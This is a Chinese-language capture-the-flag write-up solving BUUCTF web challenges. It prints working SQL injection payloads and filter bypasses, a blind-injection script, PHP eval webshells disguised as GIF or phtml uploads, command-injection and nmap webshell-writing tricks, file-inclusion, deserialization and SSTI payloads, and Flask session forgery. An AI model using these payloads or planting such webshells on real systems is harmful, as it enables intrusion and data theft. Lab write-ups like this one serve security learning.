BUUCTF Web WriteUp

WriteUp Sep 05, 2020

SQL 注入

[极客大挑战 2019]LoveSQL

进到页面,先用万能密码试一下:
密码填写 1' or 1=1#,用户名随便填一个

得到 admin 用户的密码,但没有 flag
于是先用 order by 看一下有几列
1' or 1=1 order by 4# 的时候报错,说明一共有三列

然后输入 1' union select 1,2,3#,看一下回显
显示:

Hello 2!
Your password is '3'

在二三列可以回显
输入 1' union select 1,database(),@@version_compile_os#,可以显示出数据库名 geek 以及操作系统 Linux

因为 information_schema 数据库的结构如下:

information_schema

所以我们可以利用 information_schema 数据库找到 geek 的表名:

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

显示出两个表:geekuser 和 l0ve1ysq1,猜测 flag 在 l0ve1ysq1 表里
再次用 information_schema 找出 l0ve1ysq1 的列名:

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1'#

找到三列:id、username 和 password
直接查找得到 flag

payload:

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

[极客大挑战 2019]BabySQL

上来先试试 1' or 1=1#,发现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=1#'' at line 1

貌似是 or 被截掉了
再用 1' oorr 1=1# 试一下,果然成功

后来多试了几次,发现 orandselectunionfromwhere 都被替换为空
接下来就是常规操作了

1' ununionion selselectect 1,2,database()#,显示数据库名 geek
找一下 geek 里的表:

1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

显示两个表:b4bsql、geekuser
再看 b4bsql 里的列:

1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geek' aandnd table_name='b4bsql'#

显示三列:id、username、password
查询三列的字段,得到 flag:

1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#

[极客大挑战 2019]HardSQL

本题考查报错注入
首先做一下 fuzz 测试

结果是 unionandsubstr= 和空格都被过滤
但是 selectorupdatexmlconcatgroup_concatlike() 没有被过滤
那么就用 updatexml 函数试一下:

1'or(updatexml(1,concat(0x7e,@@version_compile_os,0x7e),1))#

成功得到回显
爆破数据库名:

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

数据库名为 geek
爆破表名:

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

表名为 H4rDsq1
爆破列名:

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

有三列:id、username、password
爆破字段:

1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x7e),1))#

因为 updatexml 最多显示 32 位,所以用 right 函数再爆破一次,得到完整的 flag

1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,32)))from(geek.H4rDsq1)),0x7e),1))#

[强网杯 2019]随便注

输入 1,得到

array(2) {
    [0]=>
    string(1) "1"
    [1]=>
    string(7) "hahahah"
}

再试着输入 1' or 1=1#,得到数据

array(2) {
    [0]=>
    string(1) "1"
    [1]=>
    string(7) "hahahah"
}
array(2) {
    [0]=>
    string(1) "2"
    [1]=>
    string(12) "miaomiaomiao"
}
array(2) {
    [0]=>
    string(6) "114514"
    [1]=>
    string(2) "ys"
}

接下来用 order by 试一下,发现一共 select 了两列
union select,结果 select 被过滤了

使用堆叠注入
1';show databases#,查看数据库,成功
1';show tables#,查看表

array(1) {
    [0]=>
    string(16) "1919810931114514"
}
array(1) {
    [0]=>
    string(5) "words"
}

1';show columns from `1919810931114514`#,找到 flag

array(6) {
    [0]=>
    string(4) "flag"
    [1]=>
    string(12) "varchar(100)"
    [2]=>
    string(2) "NO"
    [3]=>
    string(0) ""
    [4]=>
    NULL
    [5]=>
    string(0) ""
}

只有两个表,所以原 SQL 语句类似 select * from words where id=' '
因为过滤了 select,不能直接显示 flag

1. 重命名

没有过滤 rename,可以把表名 1919810931114514 改成 words,把列名 flag 改成 id

payload:

';rename table words to temp;rename table `1919810931114514` to words;alter table words change flag id varchar(50)#

再输入 1' or 1=1#,得到 flag

2. 预编译

把语句转为 16 进制再预编译执行

payload:

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

[GYCTF2020]Blacklist

加强版的强网杯随便注,也是堆叠注入

先用堆叠注入看一下表名和列名
select 一下返回:

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

过滤了很多,重命名和预编译都用不了了
但这里可以使用 handler
handler open 打开一个表,再使用 handler read 语句访问,该表对象未被其他会话共享,并且在会话调用 handler close 或会话终止之前不会关闭
见官方文档

payload:

1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;#

[SUCTF 2019]EasySQL

这个真是随缘题了...

试了一下发现是数字型
而且 orandunion 都被过滤掉了
看来 union 注入是不行了,但试一下堆叠注入可以

输入 1;show tables#,成功回显:

Array ( [0] => 1 ) Array ( [0] => Flag )

describe 一下,但发现 flag 字段被过滤了
看了别人的 wp,原 SQL 语句应该是:

select $_POST["query"] || flag from Flag

这样的话可以有两种解:

1. 预期解

在 MySQL 中,当设置 sql_mode 为 PILES_AS_CONCAT 时,||就代表连接符而不是代表或了
可以利用这一点构造 payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

这样 SQL 语句就相当于,得到 flag

select 1,flag from Flag

2. 非预期解

因为没有过滤 *,所以可以构造 *,1,得到 flag

这样 SQL 语句就是

select *,1 || flag from Flag

相当于,得到 flag

select *,1 from Flag

[BJDCTF 2020]Easy MD5

进来就是一个表单,输入一下万能密码,但没有用,什么也没发生

后来在响应头里看见 hint:
select * from 'admin' where password=md5($pass, true)
原来是把密码经过了 md5
这里输入 ffifdyop 即可绕过

原理是当 ffifdyop 经过 md5 后是 276f722736c95d99e921722cf9ed621c
而 MySQL 会自动把它转化成 ASCII 字符,它的前几位正好是 'or'6
所以可以绕过

之后进入 levels91.php,在注释里有:

$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

这里构造 levels91.php?a[]=1&b[]=2 即可绕过
随后进入 levell14.php,显示:

<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

同样,构造 param1[]=1&param2[]=2,用 post 方法传入,得到 flag

[CISCN 2019]Hack World

这次是 Bool 盲注

一进来页面就显示:

All You Want Is In Table 'flag' and the column is 'flag'

把 flag 的表名和列名都告诉了
然后随便添几个数试一下
发现填写 1 时显示:

Hello, glzjin wants a girlfriend.

填写 2 时显示:

Do you want to be my girlfriend?

其他情况都显示 Error 或者 Bool(false)
那么用二分法写一个盲注脚本:

import time
import requests

url = 'http://592ed970-f824-409d-9916-72b65373ffb6.node3.buuoj.cn/index.php'
session = requests.Session()
print('Processing...')

for i in range(1, 100):
    low = 32
    high = 127
    mid = (low + high) >> 1
    while high > low:
        payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
        data = {'id': payload}
        res = session.post(url, data=data)
        res.close()
        if res.status_code == 429:
            time.sleep(0.4)
            continue
        if 'Hello' in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) >> 1
    flag = chr(int(mid))
    print(flag, end='', flush=True)
    if flag == '}':
        break

即可得到 flag

[GXYCTF2019]BabySQli

先 fuzz 一下,发现只过滤了小写的 or 和等于号

在响应界面还能找到一条注释,Base32 再 Base64 之后得到 select * from user where username = '$name'
在用户名字段存在注入点
于是先用 order by 知道一共有三列
1' union select 1,'admin',3# 也可以显示用户名正确

在原题中有 md5 加密的提示,但是在 BUU 上没有写
猜测源码大致为:

<?php
$username = $_POST['username'];
$pw = $_POST['pw'];
$con = mysqli_connect(...)
$query = mysqli_query("select * from user where username = '$name'", $con);
if(md5($pw) === $query[passwd]) {
    echo $flag
}

因为第二列是用户名,猜测第一列是 id,第三列是密码的 md5 哈希值
所以在用户名处输入:

1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#

并在密码处输入 1(c4ca4238a0b923820dcc509a6f75849b 是 1 的哈希值),即可绕过检测,得到 flag

详细资料可以见 简析 GXY_CTF BabySqli

WebShell

[RoarCTF 2019]Easy Calc

在网站源代码里找到 js 脚本:

$('#calc').submit(function () {
  $.ajax({
    // 用num以get方法传入表达式
    url: 'calc.php?num=' + encodeURIComponent($('#content').val()),
    type: 'GET',
    success: function (data) {
      $('#result').html(`<div class="alert alert-success">
        <strong>答案:</strong>${data}
        </div>`);
    },
    error: function () {
      alert('这啥?算不来!');
    },
  });
  return false;
});

根据脚本进入 calc.php,看到 php 源代码:

<?php
error_reporting(0);
// 如果没有传入num,就显示源代码
if (!isset($_GET['num'])) {
    show_source(__FILE__);
} else {
    $str = $_GET['num'];
    // 设置黑名单,过滤特殊字符
    $blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '\[', '\]', '\$', '\\', '\^'];
    foreach ($blacklist as $blackitem) {
      // 如果表达式里有黑名单的字符就打印“what are you want to do?”
        if (preg_match('/' . $blackitem . '/m', $str)) {
            die("what are you want to do?");
        }
    }
    // 执行传入的字符串
    eval('echo ' . $str . ';');
}

calc.php?num=phpinfo() 试一下,发现不仅过滤了特殊字符还过滤了字母

这里利用 php 的字符串解析特性来绕过 waf:当变量前有空格时 php 会去掉空格解析
calc.php?%20num=phpinfo(),成功显示出页面

既然可以传入字母了,那就用 scandir 函数看一下目录(因为双引号、单引号和斜杠被过滤,要用 chr 函数来传入“/”字符)
calc.php?%20num=var_dump(scandir(chr(47))),找到 f1agg:

array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

构建 payload:calc.php?%20num=var_dump(file_get_contents("/f1agg"))
再用 chr 函数转换一下

payload:

calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]Upload

文件上传题,先写一个一句话木马:

<?php @eval($_REQUEST["shell"]); ?>

上传一下发现 php 后缀名、文件内 <? 字符串被过滤
还检查了 http 的 Content-Type 头和上传文件的文件头

于是首先把 <?php?> 改成用 <script>,再加上 gif 的文件头

GIF89a
<script language="php">
  @eval($_REQUEST["shell"]);
</script>

接下来把文件命名为 shell.phtml 以绕过后缀名检查

上传文件,并抓包
把 Content-Type 头改为 image/jpeg,上传成功

用菜刀连接 http://3779479d-1203-49dd-a0dc-5841526cdde3.node3.buuoj.cn/upload/shell.phtml
就可以在根目录得到 flag

[ACTF2020 新生赛]Upload

在 js/main.js 中发现了前端过滤:

function checkFile() {
  var file = document.getElementsByName('upload_file')[0].value;
  if (file == null || file == '') {
    alert('请选择要上传的文件!');
    return false;
  }
  //定义允许上传的文件类型
  var allow_ext = '.jpg|.png|.gif';
  //提取上传文件的类型
  var ext_name = file.substring(file.lastIndexOf('.'));
  //判断上传文件类型是否允许上传
  if (allow_ext.indexOf(ext_name) == -1) {
    var errMsg = '该文件不允许上传,请上传jpg、png、gif结尾的图片噢!';
    alert(errMsg);
    return false;
  }
}

如果是火狐浏览器,直接把表单的 onsubmit 元素去掉即可
如果是 Chrome 或者 Edge 浏览器,那就得禁用 js 了

总之,前端过滤没有了,先传一个 php 一句话木马试试
结果还是传不了,看来还有一次后端过滤

那就构造一个 phtml 文件:

GIF89a
<script language="php">
  @eval($_REQUEST["shell"]);
</script>

成功上传:

Upload Success! Look here~ ./uplo4d/bd914ca4997d34857501cefab0064162.phtml

菜刀连上

http://805f1065-59b8-46ef-80ad-9ee894245a66.node3.buuoj.cn//uplo4d/bd914ca4997d34857501cefab0064162.phtml

在根目录找到 flag

[SUCTF 2019]CheckIn

本题考查 .user.ini

.user.ini 相当于一个用户定制的 php.ini
其中有两个配置可以用来植入后门:

  • auto_prepend_file

    在 .user.ini 所在目录的所有 php 文件的前面包含此文件

  • auto_append_file

    与 auto_prepend_file 基本相同,但是在文件后面包含

先构造一个 jpg 文件:

GIF89a
<script language="php">
  @eval($_REQUEST["shell"]);
</script>

再构造 .user.ini 文件:

GIF89a
auto_prepend_file = "shell.jpg"

全部上传,显示:

Your dir uploads/04b0951938d905b41348c1548f9c338b
Your files :
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(5) "a.jpg" [4]=> string(9) "index.php" }

上传成功,菜刀连接

http://08631d35-818c-49f7-b3a8-62265c5d8f83.node3.buuoj.cn/uploads/04b0951938d905b41348c1548f9c338b/index.php

在根目录找到 flag

SSRF

[GKCTF2020]cve 版签到

在 hint 里可以看到是 CVE-2020-7066

进入网页看见一个链接,指向 /?url=http://www.ctfhub.com
还有

You just view *.ctfhub.com

显然是 SSRF,但访问的必须是 *.ctfhub.com
这里使用 CVE-2020-7066,用 %00 来进行截断以绕过

传入 ?url=http://127.0.0.1%00www.ctfhub.com
显示 ip 最后要是 123
于是传入?url=http://127.0.0.123%00www.ctfhub.com
得到 flag

[网鼎杯 2018]Fakebook

考察 SQL union 注入、PHP 反序列化、SSRF

首先进来先注册一个账号,再点进链接,可以在 view.php 里看到自己的 id、用户名和博客
这里的 id 使用了 GET 方法传输,可以进行 SQL 注入

试了一下发现过滤了空格,使用 /**/ 来绕过
之后就是常规的 union 注入
最后查看一下 users 表里的 data 列:

-1/**/union/**/select/**/1,group_concat(data),3,4/**/from/**/fakebook.users#

可以看到数据是以序列化存储的:

{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:13:"www.baidu.com";}

又因为 view.php 会显示博客的数据,所以考虑 SSRF

随后在 robots.txt 的提示下在 user.php.bak 找到源码:

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
    function get($url)
    {
        $ch = curl_init();  //使用curl来访问网页
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

使用 file 协议读 flag.php

<?php
class UserInfo
{
    public $name = "1";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}
$u = new UserInfo();
echo serialize($u);

payload:

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

在源代码里得到 flag

RCE

[GXYCTF 2019]Ping Ping Ping

上来就是一句简洁明了的

/?ip=

显然是 ping 命令注入嗷
先用 ?ip=127.0.0.1;ls 扫一下,可以看到目录里有 index.php 和 flag.php
想必 flag 在 flag.php 里

那就直接打印呗,?ip=127.0.0.1;cat flag.php
结果显示

fxck your space!

空格应该是被过滤了,使用 $IFS$9 来绕过
再试一下 ?ip=127.0.0.1;cat$IFS$9flag.php,结果 flag 也被过滤了

那还是先看一下 index.php 里有啥吧
输入 ?ip=127.0.0.1;cat$IFS$9index.php,显示:

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}
?>

可以看出来过滤了特殊符号、空格、bash 和 flag
用 Base64 以及 ` 符号来绕过(被反引号包裹的部分会被 Shell 执行)
就可以在页面源代码的注释里找到 flag

payload:?ip=127.0.0.1;`echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d`

[BUUCTF 2018]Online Tool

考点为绕过 escapeshellarg 和 escapeshellcmd 函数

进网页可以看见是让我们传入一个 IP 并返回用 nmap 扫描的结果
在 nmap 中存在一个写入文件的参数 -oG

猜测为传入 webshell,但是传入的字符串经过了 escapeshellarg 和 escapeshellcmd 函数
这里传入 ?host='<?php eval($_POST["shell"])?> -oG shell.php '
(注意最后单引号之前有一个空格)
经过 escapeshellarg 函数后变为

\''<?php eval($_POST["shell"])?> -oG shell.php '\'

再经过 escapeshellcmd 函数:

\\''\<\?php eval\(\$_POST\["shell"\]\)\?\> -oG shell.php '\\'

这样就可以成功写入 webshell,最后的空格保证了 webshell 的名字不变
显示在沙箱 5a109473d2afcbd4a6253b42ed179bf1 中
访问 5a109473d2afcbd4a6253b42ed179bf1/shell.php,用蚁剑连一下就能拿到 flag

文件包含

[ACTF2020 新生赛]Include

典型的 include 文件包含漏洞题

进入 flag.php,看到:

Can you find out the flag?

估计 flag 在 flag.php 的源代码里
构造 payload:

?file=php://filter/convert.base64-encode/resource=flag.php

Base64 解码,在注释里得到 flag

[极客大挑战 2019]Secret File

点击 F12 查看源代码,发现一个访问 Archive_room.php 的链接被遮挡
点击进入 Archive_room.php,摁下访问 action.php 的按钮,结果立即跳转到了 end.php
为了拦截 action.php,看清里面的内容,可以使用 Brup Suite 来抓包,再放进 Repeater 中得到:

<!--
   secr3t.php        
-->

访问 secr3t.php,页面显示了 php 源代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET['file'];
if (strstr($file, "../") || stristr($file, "tp") || stristr($file, "input") || stristr($file, "data")) {
    echo "Oh no!";
    exit();
}
include $file;
//flag放在了flag.php里

先根据注释进入 flag.php,结果找不到 flag
再回看 secr3t.php 的源代码:

<?php
highlight_file(__FILE__);
// 关闭错误报告
error_reporting(0);
// 用get方法传入file变量
$file = $_GET['file'];
// 过滤了../、tp、input、data
if (strstr($file, "../") || stristr($file, "tp") || stristr($file, "input") || stristr($file, "data")) {
    echo "Oh no!";
    exit();
}
// 把文件复制到当前页面
include $file;

因为用了 include 函数,所以应该是文件包含漏洞
flag 应该是藏在了 flag.php 源代码里
传入的 file 经过了过滤,但没有过滤 filter,构造 payload:

secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

得到 Base64 编码的源代码,解一下码找到 flag

反序列化

[极客大挑战 2019]PHP

本题考查 php 的序列化和反序列化

首先根据有备份的提示,用 dirsearch 扫一下目录:

python dirsearch.py -u http://fd2efd54-c491-4500-9178-6c269a918b72.node3.buuoj.cn -e php

看到有 www.zip

下载下来里面有 index.php、class.php、flag.php 等,但 flag.php 里并没有 flag

看一下 index.php,里面有一段代码:

<?php
// 复制class.php的代码到这里
include 'class.php';
// 以get方法传入select
$select = $_GET['select'];
// 把select反序列化
$res = unserialize(@$select);

再看一下 class.php:

<?php
// 复制flag.php的代码到这里
// flag.php里只定义了flag变量
include 'flag.php';
error_reporting(0);
class Name
{
    private $username = 'nonono';
    private $password = 'yesyes';
    // 构造函数
    public function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    // 当反序列化时执行__wakeup函数
    public function __wakeup()
    {
        $this->username = 'guest';
    }
    // 析构函数
    public function __destruct()
    {
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;
            echo "</br>";
            echo "You password is: ";
            echo $this->password;
            echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            // 当username为admin,password为100时打印flag
            echo $flag;
        } else {
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}

那就先把 Name 类序列化,写下 php 代码:

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$str = serialize(new Name());
echo $str;

输出 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但是当 unserialize 函数执行的时候会执行__wakeup 函数,改掉 username
这里需要绕过__wakeup 函数
当反序列化字符串表示属性个数的值大于真实属性个数时,不会执行__wakeup 函数

改一下属性个数:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但是还不行,因为属性是 private,需要在类名和属性名前加上 \0 前缀
(如果属性是 protected,则加上 \0*\0 前缀)

加上前缀再 url 编码一下,把 \0 编码成 %00,即可得到 flag

payload:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

SSTI

[护网杯 2018]easy_tornado

先进入 flag.txt,看到

flag in /fllllllllllllag

再进入 hints.txt

md5(cookie_secret+md5(filename))

filename 是 /fllllllllllllag,所以 payload 是:
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5("/fllllllllllllag"))

现在只要找到 cookie_secret,就可以了

在 welcome.txt 中看到 render,没懂什么意思
后来百度了一下才知道 SSTI 模板注入这个东西

在 Tornado 框架,cookie_secret 在 handler.settings 文件中
输入 error?msg={{handler.settings}}
得到 cookie_secret:c7fc550c-f66a-4d11-97d3-706242c36236

payload:file?filename=/fllllllllllllag&filehash=3b882e84cfdb7b74f3fdccd7bf5bd112

HTTP 头

[极客大挑战 2019]Http

在源代码里找到 Secret.php
进入 Secret.php,显示:

It doesn't come from 'https://www.Sycsecret.com'

显然是要改 http 头的 Referer
先用 Burp Suite 抓一下包,放进 Repeater
在 http 头加上 Referer: https://www.Sycsecret.com

响应显示:

Please use "Syclover" browser

这次是要改 User-Agent 了
把 User-Agent 改成 Syclover,显示:

No!!! you can only read this locally!!!

既然只能本地阅读,那就把识别客户端 IP 的 XFF 头改成本地
在 http 头加上 X-Forwarded-For: 127.0.0.1,得到 flag

[极客大挑战 2019]BuyFlag

先通过 menu 进入 pay.php,看到:

FLAG NEED YOUR 100000000 MONEY

If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!

说明同时要满足三个条件才能得到 flag

看一下这个页面的源代码,可以在注释里看到判断 password 的脚本:

~~~post money and password~~~
    // 以post方法传入password
    // money应该也是用post方法传入的
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    // password不能是纯数字
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    // 当password等于404时成功
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}

这里是用 == 判断的,可以用 password=404a 来绕过

再抓一下包,在 http 头可以看见 Cookie: user=0
因为 cookie 经常用来判断用户,猜测 user=1 代表是 CUIT 的学生

于是改一下 http 头: Cookie: user=1,再以 post 方法传入 password=404a&money=100000001

结果显示 money 长度太长,那就用科学计数法表示:password=404a&money=1e10,得到 flag

Cookie & Session

[HCTF 2018]admin

进入页面后看到注册和登录按钮,在源代码里看到注释:<!-- you are not admin -->
猜测是要登录 admin 账号才能显示 flag

然后随便注册了一个账号,在改密码的页面注释里看到一个 github 的链接:hctf_flask
可以看到这个页面使用的是 flask 框架

1. 伪造 session

由于 flask 框架的 session 在客户端可见,可以通过伪造 session 让系统以为是 admin 登录

看一下 github 的源码,在 app/config.py 中找到 SECRET_KEY:ckj123

import os
class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

在登录后的 index 页面抓包抓到 session
接下来使用 flask-session-cookie-manager 脚本来解密、加密 session

解密:

python flask-session-cookie-manager.py decode -s "ckj123" -c ".eJxFkEFvgkAQhf9KM2cPZYWLiQcaxWgyayBLyezFWEXYwbURJOga_3u3NqmnObyX9755d9gc2rKrYXJp-3IEG7OHyR3evmACqHY3zY0gh2NyK4OKgrWKIznDkIrsqFUcYDGPpL-klt6XMC6Wjrh6R0HDWlUDsmykSwwx3bTNrBSafc4N3e6qFxRJNw-0zcN18dnoWTxotRxLkRitsppUzaTmEXEqpPcjH9mzhGRzp_mDZZFeiWPfF0_hMYJd1x42l--mPL1eKNIxqcajNCGKzEjOflGuvjJA63HFylfta1zkAm06kKsNpdNnnLHbqvxP2udZj9WfctpaL8D5DCPou7J9jgaBgMcPeZVtTA.XzEOBA.p4D1XU5epqRqC4qpM4o_I0WAaSo"

解密后把其中的 name 属性改成 admin,再加密:

python flask-session-cookie-manager.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'172f96c37c2b165909438adee051a9505a26c1c0b3b843f098023d71bb62fdf7fc162371df9715fe89edd00e277abe4aa8ca19b4677129cc38be3f0c5d1b03b0', 'csrf_token': b'1d7a909983db64bb61fe52ac3bbe7a0e62d0c8ba', 'image': b'uDn2', 'name': 'admin', 'user_id': '12'}"

再把修改后的 session 放进请求,就可以在响应中找到 flag

2. Unicode 欺骗

在 app/route.py 看一下路由:

@app.route('/register', methods=['GET', 'POST'])
def register():
    if current_user.is_authenticated:
        return redirect(url_for('index'))
    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title='register', form=form)
        if User.query.filter_by(username=name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title='register', form=form)

@app.route('/change', methods=['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title='change', form=form)

def strlower(username):
    username = nodeprep.prepare(username)
    return username

可以看到在注册和修改密码时都会调用一次 strlower 函数
而 strlower 函数是用 nodeprep.prepare 函数实现的

nodeprep.prepare 函数会将 Unicode 字符 转换成 A
也会把 A 转换成 a
同理,用 这四个字符也可以

于是注册一个名为 ᴬdmin 的账号,密码设成 123
当登录时,可以看到账号名已经变成了 Admin
然后再修改密码为 456,这样就会再把 Admin 转换为 admin
再次登录,得到 flag

Python 爬虫

[强网杯 2019]高明的黑客

这玩意放 Misc 区得了,放 Web 区太吓人了

上来就提示备份文件在 www.tar.gz 里,要我们找 webshell
下载下来,解压缩
好家伙,一看至少得好几千个 php 文件,里面还没有一句人话

这玩意人看是不行了,只能写脚本了
百度了一下,还需要用到多线程来提高速度
于是在网上找了脚本,再修改了一下:

import os
import re
import threading
import requests

path = 'D:/ME/Programs/PHP/src/'
url = 'http://127.0.0.1:8099/src/'
sema = threading.Semaphore(100)
requests.adapters.DEFAULT_RETRIES = 5
session = requests.Session()
session.keep_alive = False
os.chdir(path)
files = os.listdir(path)

def findParam(file):
    sema.acquire()
    print('Trying ' + file)
    with open(file, encoding='utf-8') as f:
        gets = list(re.findall(r"\$_GET\['(.*?)'\]", f.read()))
        posts = list(re.findall(r"\$_POST\['(.*?)'\]", f.read()))
    params = {}
    data = {}
    for i in gets:
        params[i] = "echo 'bingo';"
    for i in posts:
        data[i] = "echo 'bingo';"
    url_file = url + file + '/'
    res = session.post(url_file, data=data, params=params)
    res.close()
    res.encoding = 'utf-8'
    text_all = res.text
    if 'bingo' in text_all:
        flag = 0
        for i in gets:
            res = session.get(url_file + '?' + i + "=echo 'bingo';")
            res.close()
            text = res.text
            if 'bingo' in text:
                flag = 1
                print('\nFind it!\nFile name: ' + file + '\nParam: ' + i + '\nMethod: get')
                os._exit(0)
        if flag == 0:
            for j in posts:
                res = session.post(url_file, data={j: "echo 'bingo';"})
                res.close()
                text = res.text
                if 'bingo' in text:
                    print('\nFind it!\nFile name: ' + file + '\nParam: ' + j + '\nMethod: post')
                    os._exit(0)
    sema.release()

for file in files:
    thread = threading.Thread(target=findParam, args=(file, ))
    thread.start()

在本地打开 Apache,然后跑一下
跑起来还是很快的,几分钟就能跑完
找到 webshell:

Find it!
File name: xk0SzyKwfzw.php
Param: Efa5BVG
Method: get

payload:xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

[GXYCTF 2019]StrongestMind

再来个爬虫题来练练

进入网页,显示:

第一千次给 flag 呦

所以计算正确一千次,就能得到 flag
写一下脚本:

import re
import sys
import time
import requests

url = 'http://e5163d37-9fe6-4710-a875-ce7227d4b182.node3.buuoj.cn/'
session = requests.Session()
res = session.get(url)
res.encoding = 'utf-8'
count = 1

while True:
    formula = re.search(r'[0-9]+ [+|-] [0-9]+', res.text)
    if not formula:
        print(res.text)
        sys.exit(0)
    result = eval(formula.group())
    print(count, formula.group() + ' =', result)
    data = {'answer': result}
    res = session.post(url, data=data)
    res.close()
    res.encoding = 'utf-8'
    flag = re.search(r'flag\{.+\}', res.text)
    if flag:
        print(flag.group())
        sys.exit(0)
    count += 1
    time.sleep(0.1)

运行几分钟,即可得到 flag

其他

[HCTF 2018]WarmUp

